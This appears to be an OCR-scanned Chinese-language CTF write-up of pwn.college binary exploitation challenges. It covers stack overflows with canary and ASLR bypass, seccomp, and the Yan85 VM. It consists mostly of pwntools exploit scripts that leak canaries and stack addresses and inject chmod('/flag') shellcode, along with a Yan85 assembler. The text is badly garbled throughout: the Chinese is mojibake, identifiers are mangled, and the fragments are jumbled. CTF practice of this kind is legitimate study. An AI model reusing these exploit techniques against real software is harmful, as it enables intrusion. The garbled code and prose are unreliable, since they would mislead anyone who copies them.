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AT EFREFRES AshellcodefySL i, HIREFET -}

Ll =1

1 socat tcp-listen:1234,reuseaddr,fork exec:"ssh hacker@pwn.college -i
~/pwncollege.ssh ",pty,setsid,setpgid
2 ,stderr,ctty

1 ElE i & TR
HiZchmod, shellcraftZshellcode, fAEHENIFRIshellcodeBNw]

from pwnheader import *

context.arch = "amd64"

print(sc)

1
2
3
4
5 sc = shellcraft.amd64.linux.chmod("/flag", 0o777)
6
7  shellcode = asm(sc)

8

9

10

11

12

13

14

15

16

17

18

19

20 p = sta(1,1)
21

22 ru("Reading 0x1000 bytes of shellcode from stdin.")



23  s(shellcode)
24
25 ru("Payload size:")
26  sl(str(0x58+8))
27
28 ru("bytes)!")
29  s(b"A"x0x58 + p64(0x1853e000))
30
31 Adtr()
32
33 dojo.system("ls -1 / ; cat /flag").recvall()
34
2 FEASLRAE[#1TH%

REIFIGERNZAXENE], #& EMIFFEEHEBE— T (AtEIAR1T, “IuEtE, BpwndbgiFE=1E
Eatkitiit, FstraceET)

ex7fffffffdaa®
ex7fffffffdaa8
ex7fffffffdabe
ex7fffffffdab8
ex7fffffffdace

ex7fffffffdac8
i ex7fffffffdade
ex7fffffffdads8
ex7fff{ffffdae®d

from pwnheader -import *

«— add byte ptr

Bx?FFfFFFFecEB —» ex?FFFFFFFee51 «— 'SHELL=/run
ex7fffffffec48 — Ox7fffffffee32 «— '/challenge

@x1f7e605dd

exe

exc /* “\xBc' */
‘da.,sjbjfabf’
Bx66626166 /* 'fabf' */
exe

sc = shellcraft.amd64.linux.chmod("/flag", 00777)

shellcode = asm(sc)



16 p = sta(2,1)

17

18 ru("Payload size:")

19 sl(str(0x58+8))

20

21 ru("bytes)!")

22 s(shellcode+b'a'x(0x58-len(shellcode))+p64 (ox7fffffffdafo))

23
24 dtr()
25  cf()
26

-- ASLR + Canary --

3 AT
AIEAEY, ®—TFcanaryfirbp, AEESE—TRE (AIUESHE) RAUT

1 from pwnheader -import =

2

3 sc = shellcraft.amd64.linux.chmod("/flag", 00777)
4 shellcode = asm(sc)

5

6 context.log_level = 'info'

7

8 # p = sta(3,0)

S

10 # ru("Payload size:")

11 # sl(str(0x59))

12 # ru("bytes)!")

13 # s(b'REPEAT--'x(0x58//8)+b'A")

14 # ru("--A")

15 # canary = bytearray(b'\0')+r(7)

16 # log.success(canary.hex())

17

18 # ru("Payload size:")

19 # sl(str(0x60))

20 # ru("bytes)!")

21  # s(b'REPEAT--'x(0x60//8 — 1)+b"HERE!!!I")
22 # ru("HERE!!lI")
23 # stack = uu64(r(6)) # 48bit address space is used



24 # log.success (hex(stack))

25

26 # ru("Payload size:")

27 # sl(str(0x68+8))

28 # ru("bytes)!")

29 # s(shellcode+b"a"*(0x58-1en(shellcode))+canary+b'B'*8+p64(stack - Ox200 +

0x40))
30
31 # debug(3,1)
32
33 p = sta(3,1)
34

35 ru("Payload size:")

36  sl(str(0x79))

37  ru("bytes)!™)

38 s(b'REPEAT--'%(0x78//8)+b'A")

39 ru("--A")

40 canary = bytearray(b'\0')+r(7)

41  Tlog.success(canary.hex())

42

43 ru("Payload size:")

44  sl(str(0x80))

45 ru("bytes)!")

46  s(b'REPEAT--'%(0x80//8 — 1)+b"HERE!!!I!")

47  ru("HERE!!!!M)

48 stack = uub4(r(6)) # 48bit address space is used
49  log.success (hex(stack))

50

51 ru("Payload size:")

52 sl(str(0x88+8))

53 ru("bytes)!")

54  s(shellcodetb"a"*(0x78-1len(shellcode))+canary+bh'B'x8+p64(stack - 0x260 +

0x40))
55
56  dtr()
57 cf()

4 aJ i 1Ti% HZEER S
R R IZEEFITEEexitfA&return, BE—FmMAI LT
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28
29
30
31
32
33
34

puts("Goodbye!");
if ( ve[12] != Ox4AB9BE770438A205LL )
{

puts(“"exit() condition triggered. Exiting!");
exit(42);
¥
puts(“"exit() condition avoided! Continuing execution.™)
return eLL;

from pwnheader -import *

sc = shellcraft.amd64.linux.chmod("/flag", 0o777)
shellcode = asm(sc)

# p = sta(4,0)

ru("Payload size:")
sl(str(0x49))

ru("bytes)!")
S(b'REPEAT--"%(0x48//8)+b'A")
ru("--A")

canary = bytearray(b'\0')+r(7)

HOH O K W W™ W

log.success (canary.hex())

ru("Payload size:")

sl(str(0x50))

ru("bytes)!")

S(b'REPEAT--"%(0x50//8 — 1)+b"HERE!!!!")
ru("HERE!111")

stack = uu64(r(6)) # 48bit address space is used

log.success (hex (stack))

HOH W K B W™ W

ru("Payload size:")

sl(str(0x58+8))

ru("bytes)!")

s(shellcode+b"a"*(0x38-1len(shellcode)) +p64(Ox60A4545FFFE75245)+b'C'*8
+canary+b'B'*8+p64 (stack - Ox1dO + 0x40))

HOH W R

p = sta(4,1)

ru("Payload size:")
sl(str(0x69))

ru("bytes)!")

s(b'REPEAT--"'x (0x68//8)+b'A")

>



35  ru("--A")
36 canary = bytearray(b'\0")+r(7)
37 log.success(canary.hex())
38
39 ru("Payload size:")
40  sl(str(0x70))
41  ru("bytes)!")
42  s(b'REPEAT--'%(0x70//8 - 1)+b"HERE!!!!")
43  ru("HERE!!!!™)
44 stack = uu64(r(6)) # 48bit address space is used
45  Tlog.success (hex(stack))
46
47  ru("Payload size:")
48  sl(str(0x78+8))
49 ru("bytes)!")
50 s(shellcode+bh"a"x(0x60-Tlen(shellcode))
+p64 (OX4ABI9BE770438A205) +canary+b'B'*8+p64 (stack - (Oxb0O*3+0x20) + Ox40))

51
52 Htr()
53 cf()

5 Al 17i%+ ZAEPR &2
B Tseccomp, M EE—1FHEE magic
AERCanaryBERN AR IEWFErbpiI EE, EHREESZL

1  from pwnheader import =

2

3 sc = shellcraft.amd64.linux.chmod("/flag", 0o777)
4 shellcode = asm(sc)

5

6 context.log_level = 'info'

7

8 # p = sta(5,0)

9

10 # ru(""Payload size:")

11 # sl(str(0x69))

12 # ru("bytes)!")

13 # s(b'REPEAT--'x(0x68//8)+b'A")
14 # ru("--A")

15 # canary = bytearray(b'\0')+r(7)
16 # log.success(canary.hex())

'_l
~



18 # ru("Payload size:")

19 # sl(str(0x80))

20 # ru("bytes)!")

21  # s(b'REPEAT--'%(0x80//8 — 1)+b"HERE!!!lI")

22 # ru("HERE!!lI")

23 # stack = uu64(r(6)) # 48bit address space is used

24 # log.success (hex(stack))

25

26 # ru("Payload size:'")

27 # sl(str(0x88+8))

28 # ru("bytes)!")

29 # s(shellcode+b"a"*(0x50-1en(shellcode))
+p64 (OXC6EI5E179D1ID32F)+b'C'*16+canary+b'B'x24+p64 (stack — (OxdO*3+0x20) +
0x50))

30

31 p = sta(5,1)

32

33 ru("Payload size:")

34 sl(str(0x59))

35 ru("bytes)!")

36 s(b'REPEAT--'%(0x58//8)+b'A")

37 ru("--A")

38 canary = bytearray(b'\0'"')+r(7)

39 log.success(canary.hex())

40

41 ru("Payload size:")

42  sl(str(0x60))

43 ru("bytes)!")

44  s(b'REPEAT--'%(0x60//8 - 1)+b"HERE!!!!")

45 ru("HERE!!!I1")

46  stack = uub4d(r(6)) # 48bit address space is used

47  log.success(hex(stack))

48

49 ru("Payload size:")

50 sl(str(0x68+8))

51 ru("bytes)!")

52  s(shellcode+b"a'"x(0x40-1len(shellcode))
+p64 (0xA06025DC652C6AB7) +b'C' *16+canary+b'B'*8+p64 (stack - (Oxb0*3+0x20) +

0x50))
53
54  Hqtr()
55 cf()
56

6 AJH1TH% + Seccomp



puts(“Restricting system calls (default: kill)");
v17 = seccomp_init(eLL); |
for: (1 =08; 1 ¢=1; ++i )
{
v6 = v16[i];
v7 = (const char *)seccomp_syscall resolve_num_arch(eLL, v&);
printf("Allowing syscall: %s (number %i)\n", v7, v6);
if ( (unsigned int)seccomp_rule_add(v17, 2147418112LL, (unsigned int)vi6[i], ©LL) )
__assert_fail(
“seccomp_rule_add(ctx, SCMP_ACT_ALLOW, syscalls_allowed[i], @) == @",

"<stdins”,
©x95u,
"challenge");
¥
if ( (unsigned int)seccomp_load(v17) )
__assert_fail("seccomp_load(ctx) == 8", "<stdin>", @x98u, “challenge");
puts("Goodbye!");
return @LL:

= EZEMEpayload VBt iE—HHuEshellcodeAsyscall

1 from pwnheader -import =

2

3 sc = shellcraft.amd64.linux.chmod("/flag", 0o777)
4 shellcode = asm(sc)

5

6 context.log_level = 'info'

-

8 # p = sta(6,0)

9

10 # ru("Payload size:")

11 # sl(str(0x59))

12 # ru("bytes)!")

13 # s(b'REPEAT--"+(0x58//8)+b'A")

14 # ru("--A")

15 # canary = bytearray(b'\0')+r(7)

16 # log.success(canary.hex())

17

18 # ru("Payload size:")

19 # sl(str(0x70))
20 # ru("bytes)!")
21 # s(b'REPEAT--'%(0x70//8 - 1)+b"HERE!!!!")
22 # ru("HERE!!!1!'")

23 # stack = uu64(r(6)) # 48bit address space is used
24 # log.success (hex(stack))
25
26 # ru("Payload size:")
27 # sl(str(0x78+8))

28 # ru("bytes)!")



29

30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52

53
54
55

# s(shellcode+b"a"x(19x4—-1en(shellcode))
+p32(1)+p32(90)+p32(0)+canary+b'B'*x24+p64 (stack - (OxcO*3+0x20) + 0x50))

p = sta(6,1)

ru("Payload size:")
sl(str(0x69))

ru("bytes)!")
s(b'REPEAT--"'x(0x68//8)+b'A")
ru("--A")

canary = bytearray(b'\0')+r(7)

log.success(canary.hex())

ru("Payload size:")

sl(str(0x70))

ru("bytes)!")

s(b'REPEAT--"'*(0x70//8 - 1)+b"HERE!!!!")
ru(""HERE!!!!1'")

stack = uu64(r(6)) # 48bit address space is used
log.success (hex(stack))

ru("Payload size:")

sl(str(Ox78+8))

ru("bytes)!")

s(shellcode+bh"a"* (23*%4-1len(shellcode))
+p32(1)+p32(90)+p32(0)+canary+b'B'*x8+p64 (stack - (OxcO*3+0x20) + Ox50))

itr()
cf()

--Yan85 VM --

asmZ=0]

. https://github.com/OraclePi/Yan85-disassembler-assembler/blob/main/ad85.py

BN ((MEEE, KEFRSERENR)
https://drive.google.com/file/d/130mxJwJnfohfWONYKD9z5xxu5LI0PEZU/view

EEIRIELPRMEFIERZopcode/reg/flags/byteorder/syscall I3 {E, UKERIESFTF

B TR yan85.py: (AIZIFFTFMTHIT)

1

#!/usr/bin/env python3
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import argparse
import base64

from pwn import info

def parse_args():

parser = argparse.ArgumentParser (description="yan85 VM disassembler')

group = parser.add_mutually_exclusive_group()

group.add_argument("-d", "--disassemble", action="store_true",
help="disassemble the yan85 opcode")

group.add_argument("-a", "--assemble", action="store_true",
help="assemble the yan85 -dinstruction")

parser.add_argument('"-b64", '"--base64", action="store_true'",
help="base64 encode the output")

parser.add_argument(

"file", help="file to process")

args = parser.parse_args()
if args.file is None:
parser.print_help()

exit()

return args

vm_op = {
"IMM": Ox2,
"ADD": 0x8,
"STK": 0x40,
"STM": Ox80,
"LDM": 0x10,
"CMP": 0x4,
"IMP": Ox1,
"SYS": 0x20

} # modified

vm_reg = {

"a": 0Ox8,
"b": Ox1,
"'c": Ox40,
"d": 0x2,
"s": Ox4,
"' Ox10,
£ 0x20,
"NONE": 0x0

} # modified

vm_syscall = {
"open'": 0x4,



49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
20
91
92
93
94
95

"read_code": 0x10,
"read_memory": 0x2,
"write": 0x20,
"exit": Ox1,
"sleep": 0Ox8

} # modified

vm_jmp = {
"L": Ox1,
"G": Ox4,
"E": 0x10,
"N": Ox8,
"Z": 0x2,
"x": Ox0

} # modified

vm_byteorder = {

llopll :2’
"argl":0,
"arg2'":1

def reg(val):
for k, v in vm_reg.items():
if val == v:
return k

assert False, "Unknown register value"

class VM_OP:
@staticmethod
def imm(argl, arg2):
return "IMM", reg(argl), hex(arg2)

@staticmethod
def add(argl, arg2):
return "ADD", reg(argl), reg(arg2)

@staticmethod
def stk(argl, arg2):
return "STK", reg(argl), reg(arg2)

@staticmethod
def stm(argl, arg2):
return "STM", reg(argl), reg(arg2)

@staticmethod
def ldm(argl, arg2):



96 return "LDM", reg(argl), reg(arg2)

97

98 @staticmethod

99 def cmp(argl, arg2):

100 return "CMP", reg(argl), reg(arg2)
101

102 @staticmethod

103 def jmp(argl, arg2):

104 for k, v in vm_jmp.items():

105 if argl == v:

106 return "JMP", k, reg(arg2)
107 assert False, "Unknown jmp type"

108

109 @staticmethod

110 def sys(argl, arg2):

111 for k, v in vm_syscall.items():

112 if argl ==

113 for k1, vl in vm_reg.items():
114 if arg2 == vi:

115 # return k, "'", ki
116 return k, "", ""

117 assert False, "Unknown register"
118 assert False, "Unknown syscall"

119

120 def vm_disasm(opcode):

121 assert len(opcode) % 3 == 0 and "Invalid opcode length"
122 op, argl, arg2 = opcode

123 for k, v in vm_op.items():

124 if op == v:

125 if k == "IMM":

126 return VM_OP.imm(argl, arg2)
127 elif k == "ADD":

128 return VM_OP.add(argl, arg2)
129 elif k == "STK":

130 return VM_OP.stk(argl, arg2)
131 elif k == "STM":

132 return VM_OP.stm(argl, arg2)
133 elif k == "LDM":

134 return VM_OP.ldm(argl, arg2)
135 elif k == "CMP":

136 return VM_OP.cmp(argl, arg2)
137 elif k == "JIMP":

138 return VM_OP.jmp(argl, arg2)
139 elif k == "Sys":

140 return VM_OP.sys(argl, arg2)
141

142 def vm_asm(instruction):



143 op, argl, arg2 = [ins.strip("\n").replace(" ", "")

144 for dins in dnstruction.split(" ")]

145 for k, v in vm_op.items():

146 if op ==

147 if k == "IMM":

148 info(f"{op} {argl} {arg2}")

149 for k1, vl in vm_reg.items():

150 if argl == kil:

151 hex_str = arg2.replace("ox", "")

152 if len(hex_str) % 2 != 0:

153 hex_str = "0" + hex_str

154 return (bytes([v]) + bytes([vl]) +
bytes.fromhex(hex_str))

155 elif k == "ADD":

156 info(f"{op} {argl} {arg2}")

157 for k1, vl in vm_reg.items():

158 if argl == kl:

159 for k2, v2 in vm_reg.items():

160 if arg2 == k2:

161 return bytes([v, vl, v2])

162 elif k == "STK":

163 info(f"{op} {argl} {arg2}")

164 for k1, vl in vm_reg.items():

165 if argl == kil:

166 for k2, v2 in vm_reg.items():

167 if arg2 == k2:

168 return bytes([v, vl, v2])

169 elif k == "STM":

170 info(f"{op} {argl} {arg2}")

171 for k1, vl in vm_reg.items():

172 if argl == kl1:

173 for k2, v2 1in vm_reg.items():

174 if arg2 == k2:

175 return bytes([v, vl, v2])

176 elif k == "LDM":

177 info(f"{op} {argl} {arg2}")

178 for k1, vl in vm_reg.items():

179 if argl == kl1:

180 for k2, v2 in vm_reg.items():

181 if arg2 == k2:

182 return bytes([v, v1, v2])

183 elif k == "CMP":

184 info(f"{op} {argl} {arg2}")

185 for k1, vl in vm_reg.items():

186 if argl == kl:

187 for k2, v2 in vm_reg.items():

188 if arg2 == k2:



189
190
191
192
193
194
195
196
197
198
159
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235

return bytes([v, vl, v2])
elif k == "JIMP":
info(f"{op} {argl} {arg2}")
for k1, vl in vm_jmp.items():
if argl == kl:
for k2, v2 in vm_reg.items():
if arg2 == k2:
return bytes([v, vl, v2])
elif k == "Sys":
info(f"{op} {argl} {arg2}")
for k1, vl in vm_syscall.items():
if int(argl, 16) == vl:
for k2, v2 in vm_reg.items():
if arg2 == k2:
return bytes([v, vl, v2])

def dis85(opcode):
for i in range(®, len(opcode), 3):
op, argl, arg2 = vm_disasm(opcode[i:i+3])
if op == "STM":
info(f"{op} *{argl} = {arg2}")
elif op == "LDM":
info(f"{op} {argl} = *x{arg2}")
elif op == "IMM":
info(f"{op} {argl} = {arg2}")
elif op == "STK":
if argl == "NONE":
info(f"push {arg2}")
elif arg2 == "NONE":
info(f"pop {argl}i")

else:
info(f"{op} {argl} {arg2}")

def set85(op=None,reg=None,syscall=None, jmp=None,byteorder=None):
global vm_op, vm_reg, vm_syscall, vm_jmp, vm_byteorder
if op != None:
vm_op = op
if reg != None:
vm_reg = reg
if syscall != None:
vm_syscall = syscall
if jmp != None:
vim_jmp = jmp
if byteorder != None:

vm_byteorder = byteorder



236
237
238
288
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266

def

if

asm85(insts):

info(vm_op)

payload = b""

insts = dnsts.split("\n")

for dinst in dinsts:

if dinst: # skip empty lines

# payload += bytes(vm_asm(inst))
k = bytes(vm_asm(inst))
b = bytearray(3)
b[vm_byteorder["op"]] = k[0O]
b[vm_byteorder["argl"]] = k[1]
b[vm_byteorder["arg2"]] = k[2]
payload += b

return payload

__hame__ == "__main__":

args = parse_args()

if args.disassemble:
with open(args.file, "rb") as f:
vm_code = f.read()
dis85(vm_code)
elif args.assemble:
with open(args.file, "r'") as f:
ins = f.read()
if args.base64:

info(f"base64: {base64.b64encode(asm85(ins))}")

else:

info(f"payload: {asm85(ins)}")

7 BRIPE HVM

» 26
27
® 28
) 29
) 3@
31

a7

if ( (a2 8&2) 1= 0 )

{

}

puts(”[s] ... read_memory");

v5 = read(al[1624], &al[al[1@25] + 768], al[le26]);

write_register(zl, SHIBYTE(22), v5);

afF f a2 2 avdaly 11— a

char v5:

/1 al
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from pwnheader import *

from yan85 import *

context.log_level = "info"

# p = sta(7,0)

HOH O K R

HOH W KR K

sh = '"mn
IMM c Oxff
IMM b Oxff
SYS 0x2 d

min

shellcode = asm85(sh)

# dis85(shellcode)

shellcode += b'a'x(0x10 - len(shellcode))

sc = shellcraft.amdé64. linux.chmod("/flag", 0o777)

shellcode += asm(sc)

# ru("accomplish your goals. Good luck!")
# s(shellcode)
# ru("... read_memory")
# s(b"\XxTff"*25+p64 (Ox00007fffffffeb60 - Ox310))
p = sta(7,1)
sh = "
IMM c Oxff
IMM b Oxff
SYS 6ox10 d
o
vm_op = {
"IMM": 0x40,
"ADD": Ox1,
"STK": Ox10,
"STM": ©x8,
"LDM": Ox4,
"CMP": Ox2,
"IMP": Ox20,
"SYS": 0x80
} # modified

vm_reg = {



45 "al: Ox8,

46 "b'": Ox40,
47 "c'": 0x4,
48 "d": 0ox2,
49 "s'": Ox10,
50 "i'": Ox1,
51 "f'y 0x20,
52 "NONE": 0Ox8
53 } # modified
54

55 vm_byteorder = {
56 "op":2,

57 "argl":o0,
58 "arg2":1

59 1}

60

61 set85(vm_op,vm_reg,byteorder=vm_byteorder)

62  shellcode = asm85(sh)

63 # dis85(shellcode)

64 shellcode += b'a'x(0x10 - len(shellcode))

65 sc = shellcraft.amd64.linux.chmod("/flag", 0o777)

66 shellcode += asm(sc)

67

68 ru("Please input your yancode:'")

69 s(shellcode+b'\0'*x(0x300 - len(shellcode))+b"\xff"*25+p64 (OxEEEQ7fffffffeb6d

- 0x3f0))
70
71 dtr()
72 cf()
73

8 # ASLR+Canary iS5 tHVM



Ji1‘= ( (a2 &.8) =0 )
{

puts(“[s] ... read_memory");
v5 = read(al[1024], &al[al[1@25] + 768], al[le26]);

write_reglster(mm, BYTE2(a2), v5);
i
if ( (22 & @x1e) != @ )
{

puts(“[s] ... write"):
v6 = write(a1[1024], &=1[a1[1025] + 768], 21[1@26]);
write_reglster(ch BYTE2(a2), v6);

}

[EFFRY, EEEBELH, BiFmEEM
FEIR, ERRARLIELLENRrbpRE0, FEretaddrA FRIKMI—MES I WIS ML

eeeeelee 5b 73 5d 29 2e 2e 2e 20 77 72 69 74 65 Ba 61 61
eeeeelle 61 ec ' ) : o 2 bb be | 8 b de
ooooel2e 4d ee ee 99 99 96 99 ee

eeeealse 8 20 56 d 3 ¢
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eeeeelse @ a@ f5 d1 6d 36 56 € @0 f4 7e e8 @5 df
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from pwnheader import *

from yan85 import *



22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68

HOH W R B W W

H O O ®H O ® R HOH W R O W R RS H OB W H R

HOR B W K

HOH W R O W R

# log.success (hex(canary))

”C”:
Hd” .
”S " .
!'7' N:
Hf” .
"NONE

0x10,
0x40,
Ox8,
Ox2,
0x20,

": Ox0

}  # modified

vm_byteorder

set85(vm_op, vm_reg, byteorder=vm_byteorder)

sh=""
IMM
IMM
STK
STK
STK
STK

IMM
IMM
SYS
SIS

mrin

shel

S =

ru("accomplish your goals. Good luck!")

”Op”:l,
"argl":o,
"arg2'":2

mnn

b 0x61
S Oxfc

NONE
NONE
NONE
NONE

b
b
b
b

b 0xfd
c Oxff
Ox10 d

0x8 d

lcode

she

= asm85(sh)

shellcode += b'a'*x(0x20 - len(shellcode))
llcraft.amd64. linux.chmod("/flag", Qo777)
shellcode += asm(sc)

shellcode += b'\0'*#(0x300 - len(shellcode)) # padding

s(shellcode)
ru(b"aaa')

r(8)

canary = uu64(r(8))

r{24
stac

log.success (hex (stack))

)

k = uu64(r(8))- (0x7928-0x7440)



69 # s(b'"\xff'*x11+p64(canary)+b'\0'*8+p64 (stack))
70
71 # debug(8,1)

T2

73 p = sta(8,1)

74

75 vm_op = {

76 "IMM": Ox2,
77 "ADD": 0x20,
78 "STK": Ox1,
79 "STM": Ox4,
80 "LDM": 0x80,
81 "CMP": 0x8,
82 "IMP": Ox40,
83 "SYS": 0x10
84 } # modified
85

86 vm_reg = {

87 "a": Ox2,

88 "b": Ox1,

89 "'c'": Ox4,

20 "d": Ox40,
91 "s": 0Ox8,

92 "iv: Ox20,
93 "fr: Ox10,
94 ""NONE": Ox0
95 } # modified
96

97  vm_byteorder = {
98 "op":0,

99 "argl'":1,
100 "arg2'":2

101 }

102

103  set85(vm_op, vm_reg, byteorder=vm_byteorder)
104

105 sh="mmn

106 IMM b 0x61
107 IMM s Oxfc
108 STK NONE b
109 STK NONE b
110 STK NONE b
111 STK NONE b
112

113 IMM b 0xfd
114 IMM c oxff
115 SYS ox1 d



116 SYS 0x10 d

117 e

118

119 shellcode = asm85(sh)

120  shellcode += b'a'x(0x20 - len(shellcode))

121  sc = shellcraft.amd64. linux.chmod("/flag", 0o777)
122  shellcode += asm(sc)

123  shellcode += b'\0'x(0x300 - len(shellcode)) # padding
124

125 ru("Please input your yancode:")

126  s(shellcode)

127 ru(b"aaa")

128 r(8)

129 canary = uub4(r(8))

130 r(24)

131 stack = uub4(r(8))- (0xfel8-0xf930)
132

133 log.success(hex(canary))
134  log.success (hex(stack))

135

136 s(b'"\xff'x11+p64(canary)+b'\0'*x8+p64(stack))
137

138 dtr()

139  cf()

0 I AZIEFEIRISI SMC i Filter
Fi&filtertD ™, RAF—"1syscallig<

Py ey e o e ]y wio s e 'y

puts("[!] Are you ready for ultimate Yan85 shellcoding? This challenge only allows you ONE sys instruction!");
V3 = @;
For if 1 =i8) 1 .4=.2355% 1 )

if ( (v5[3 * 1 + 256] & B) =80 )
++v3;

}
if (v3 > 1)

__assert_fail/"=um_syscalls <= 1", "<stdin>", 411u, "main");
puts("[+] This e=ght seem impossible, but this challenge makes one memory error that will allow you™);
puts("[+] to execute the system calls you need. The error is what's known as an *intra-frame* overflow:");
puts("[+] you won't be able to hijack control flow, but you'll be able to mess with the intended logic");
puts("[+] of the emulator!");



if ( (22 & ©6x8e8) =08 )
{
puts(“[s] ... open");
v3 = open((const char *)&al[al[1€24]], al[1e25], al[1@26]);
write register(al, BYTE2(a2), v3);
¥
if ( (22 & ex1ee0) != o )
crash("Disallowed system call: SYS_READ CODE");
if ( (22 & ©x1ee) != e )
{
puts(“[s] ... read_memory");
v4 = read(al[1024], &al[al[1@25]], al[1e26]);
write_register(al, BYTE2(a2), v4);

}
if ( (22 & ©x2000) != 0 )
{

puts("[s] ... write");

V5 = al[1026];
if ( 256 - 21[1@825] <= v5 )
LOBYTE(v5) = -21[1025];
ve = write(al[1024], &al[al[1025]], (unsigned _ int8)v5);
write_register(al, BYTE2(a2), v6);
¥

B FTread _code, BE2#Eread mem, FEHHIELMERRIBT
% 1kopen, B5ERILIORWT

1 from pwnheader -+import *
2 from yan85 import *

3

4 # context.log_level = "info"
5

6 # p = sta(9,0)

7

8 # vm_op = {

9 # "IMM'": 0x20,

10 # "ADD": 0x10,

11 # "STK": Ox4,

12 # "STM": Ox2,

13 # "LDM": Ox80,

14 # "CMP": Ox1,

15 # "IMP'": 0x40,

16 # "SYys'": 0x8

17 # } # modified

=
[00]



19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65

#
#
#
#
#
#
#
#
#
#

*® HOR B W WK

H O W W R

"a': 0x10,
"b'": Ox8,
"c': Ox2,
"d": 0x1,
"s': 0x40,
"i: Ox20,
"fr': Ox4,
"NONE": 0Ox0

}  # modified

vm_byteorder = {
Nop N:@’
"argl':1,
"arg2'":2

set85(vm_op, vm_reg, byteorder=vm_byteorder)

loader="""
IMM b Oxff
IMM c Oxff
SYS 0x1 d

mnrim

# ldr = asm85(loader)

# ru("Please input your yancode:")

S T TR . *®

*®

s(ldr.ljust(6x300, b'\0'))

Sh="""

IMM a ox2f
STK NONE a
IMM a 0Ox66
STK NONE a
IMM a 0Ox6c
STK NONE a
IMM a 0x61
STK NONE a
IMM a 0x67
STK NONE a
IMM a 0x0
STK NONE a

IMM a 0x1
IMM b 0x0
SYS 0x8 a



66 # IMM b 0x80
67 # IMM c Oxff
68 # SYS 0x1 d
69

70 # IMM a Ox1
71 # SYS 0x20 d

72
73 # SYS 0x4 NONE
74

75 # mnirrn

76

77 # shellcode = asm85(sh)

78 # s((b'"\0'x10+shellcode). ljust(Oxff, b'\0'"))
79

80 p = sta(9,1l1)

81

82 vm_op = {

83 "IMM": Ox80,

84 "ADD": 0x10,

85 "STK": 0x4,

86 "STM": 0Ox8,

87 "LDM": Ox2,

88 "CMP": 0Ox4,

89 "IMP": Ox1,

90 "SYS": 0x20

91 } # modified

92

93 vm_reg = {

94 "a"t 0x20,

95 "b": 0x10,

96 "c': Ox8,

97 "d": Ox40,

98 "s": Oxl1,

99 "iv: Ox2,
100 "fU: Qx4
101 "NONE": 0Ox0
102 } # modified
103
104  vm_byteorder = {
105 "op":1,

106 "argl":2,
107 "arg2":0
108 }

109

110  set85(vm_op, vm_reg, byteorder=vm_byteorder)
111
112 loader="""



113 IMM b Oxff

114 IMM c oxff

115 SYS 0x20 d

116 e

117

118 1dr = asm85(loader)
119 ru("Please input your yancode:")
120 s(ldr.ljust(0x300, b'\0'))
121

122 sh="mn

123 IMM a Ox2f

124 STK NONE a

125 IMM a 0x66

126 STK NONE a

127 IMM a 0x6¢

128 STK NONE a

129 IMM a 0x61

130 STK NONE a

131 IMM a 0x67

132 STK NONE a

133 IMM a 0x0

134 STK NONE a

135

136 IMM a 0x1

137 IMM b 0x0

138 SYS 0Ox8 a

139

140 IMM b 0x80

141 IMM c Oxff

142 SYS 0x20 d

143

144 IMM a 0Ox1

145 SYS ox1 d

146

147 SYS 0x10 NONE

148

149 v

150

151  shellcode = asm85(sh)
152 s((b'"\0'x10+shellcode).ljust(Oxff, b'\0"))
153

154  qtr()

155



10 # AZiERF LMABE A Filter

BERNFRT, MARRF—ISYSIES, FRFZRVMNFIBRERESEEREEEARAMR, R
EEUENN, METERFELT LEHITESMEE

FeRRIIR

B THE—Popen—ERRBEIA=3, BfdSERFEEENER TERILH

REEHATA XS, FEEEAEL, BRIIE—RreadZzfEMwrite RE L), FEE5R
vmiipTEIF, BNENEIARISTRAMTP R (RREFRINF BRITIE/flagF R )

1 from pwnheader import *
2 from yan85 import *
3

4 # context.log_level = "info"
5

6 # register d is used as temp, step info is implicit by stack
7 sh = n"nmn

8 IMM d ox2f

9 STK NONE d

10 IMM d 0x66

11 STK NONE d

12 IMM d 0x6c

13 STK NONE d

14 IMM d 0x61

15 STK NONE d

16 IMM d 0x67

17 STK NONE d

18 IMM d 0x0

19 STK NONE d

20

21 IMM d 0x6

22 CMP d s

23 IMM d 0x18

24 JMP E d

25 IMM d Oxc

26 CMP d s

27 IMM d Ox1c

28 JMP E d

29 IMM d 0x12
300 CMP d s
31 IMM d 0x21
32 JMP E
33
34 IMM d 0x22
35 IMM a 0Ox1



36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82

0,0)

Ox80
0x4,

Ox40
Ox2,

0x8,

Ox10
0x20
Ox1

0x4,
0x10,
0x40,
Ox8,
0x2,
Ox1,
0x20,
": Ox0

0x8,
Ox1,
Ox4,
0x2,
ox10,
Ox0

IMM b 0x0
IMP x d

IMM d 0x22
IMM a 0x3
IMM b 0x80
IMM c 0x60
IMP x d

IMM a 0x1
mmn

# p = sta(l
# vm_op = {
# "IMM' :
# "ADD" :
# "STK'":
# "STM" :
# "LDM" :
# "CMP'" :
# "IMP" :
# "Sys'":
# }

# vm_reg = {
# HaH:

# Hb”:

# ”C”:

# Hd”:

# ”S”:

# H7'H'-

# Nf-'”:

# "NONE
# }

# vm_jmp={
# HL H:

# HGH:

# HEH:

# HNH:

# HZH'.

# N*N:

# }

#

RS

vm_byteorder =

Hop H:l’

)

2

)

2

{



83 # "argl":2,
84 # "arg2":0

85 # }

86

87 # vm_syscall = {
88 # "orw": 0x32
89 # }

90

91 # set85(vm_op, vm_reg,syscall=vm_syscall, jmp=vm_jmp, byteorder=vm_byteorder)
92

93 # sh += "nmn

94 # SYS Ox32 d

95 # nirn

96

97 # shellcode = asm85(sh)
98

99 # ru(""Please 1input your yancode:')
100 # sl(shellcode)

101

102 p = sta(l0,1)
103

104  vm_op = {

105 "IMM": Ox8,
106 "ADD": 0x20,
107 "STK": 0x4,
